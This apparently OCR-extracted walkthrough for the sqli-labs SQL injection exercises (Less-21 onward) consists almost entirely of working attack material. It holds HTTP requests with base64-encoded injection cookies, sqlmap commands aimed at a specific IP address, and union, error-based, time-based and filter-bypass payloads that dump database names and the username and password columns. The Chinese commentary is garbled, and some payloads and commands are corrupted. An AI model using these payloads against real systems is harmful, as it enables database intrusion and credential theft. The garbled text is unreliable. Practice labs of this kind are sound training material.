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GET /Less-21/HTTP/1.1

Host: 106.54.35.126

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtmi+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: uname=dW5hbWU9YWRtaW4nKSB1bmlvbiBzZZWxlY 3QgMSwyL GRhdGFiYXNIKCkj
DNT: 1

Connection: close

uname=admin') union select 1,2,database()# base644ut5 &
dW5hbWU9YWRtaW4nKSB1bmivbiBzZWxY 3QgMSwyL GRhdGFiYXNIKCkj base64 4wt f5
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sqlmapiE A\

python sqlmap.py -u http://106.54.35.126/Less-21/ --dbms=MySQL --random-agent --flush-session --
cookie="uname="" --tamper="base64encode" --technique=E -v 3 --level=3 --risk=3 --dbs --batch

Less-22 2T 4#5iR ¥ Cookiesk X 5| 5 ZHFRIEN

BbRERLess- 21 —HH), REBBUNNG| 5 EEES H#TEAN

uname=admin" union select 1,2,database()# base64%%#3 /i
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GET /Less-22/ HTTP/1.1

Host: 106.54.35.126

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
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Accept: text/html,application/xhtmi+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: uname=dW5hbWU9YWRtaW4ilHVuaW9ulHNIbGVjdCAXLDIsZGFO0YWJhc2UoKSM=
DNT: 1

Connection: close
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python sqglmap.py -u http:/106.54.35.126/Less-22/ --dbms=MySQL --random-agent --flush-session --
cookie="uname="" --tamper="base64encode" --technique=E -v 3 --level=3 --risk=3 --dbs --batch
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?id=-1" union select 1,2,database() '
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?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where
table_schema=database() or '998'='999" "

BB

?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where
table_name='users' or '998'="999"'
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?id=-1" union select 1,group_concat(username),group_concat(password) from users where 1 or '998'='999""
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python sqglmap.py -u http://106.54.35.126/Less-23/?id=1 --dbms=MySQL --random-agent --flush-session --
technique=E -v 3 --level=3 --risk=3 --dbs --batch
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UPDATE users SET PASSWORD="$pass' where username="admin'# and password="$curr_pass'
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?id=998' union select 1,2,database()--+

?id=998" union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

?id=998' union select 1,2,
(SELECT+GROUP_CONCAT (username,passwoorrd+SEPARAT OORR+0x3c62723e)+FROM+users)--+
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?id=998' oorr extractvalue(1,concat(0x7e,database()))--+
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?id=998' || extractvalue(1,concat(0x7e,database()))--+
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?id=-998' union select 1,2,database()#
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?id=-998' || if(length(database())=8,1,sleep(5))#
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?id=998'||updatexml(1,concat('~',database(),'~"),3)||'
PR

?id=998'||updatexml(1,concat('~',version(),'~"),3)||'
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unioN,uniOn,unlon,selecT,seleCt.....
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uunionnion,sselectelect......

A] H if)payload

?id=-998'%0bununionion%0bselLect%0b1,(seLect(@x)FROM(seLect(@x:=0x00) ,
(seLect(@x)FROM(users)WHERE(@Xx)IN(@x:=CONCAT (0x20,@x,username,password,0x3c62723e))))x),3 %0kt
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unioN,uniOn,unlon,selecT ,seleCt.....
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uunionnion,sselectelect......

A] F #payload

?id=-998"%0bununionion%0bselLect%0b1,(seLect(@x)FROM(seLect(@x:=0x00) ,
(seLect(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT (0x20,@x,username,password,0x3c62723e))))x),3%0t
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?id=998' union select 1,2,version()--+
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?id=998" union select 1,2,database()--+
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login.php?id=1&id=-2" union select 1,2,
(SELECT+GROUP_CONCAT (username,password+SEPARAT OR+0x3c62723e)+FROM+users)--+
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?id=998" union select 1,2,version()--+

1 P

?id=998" union select 1,2,database()--+
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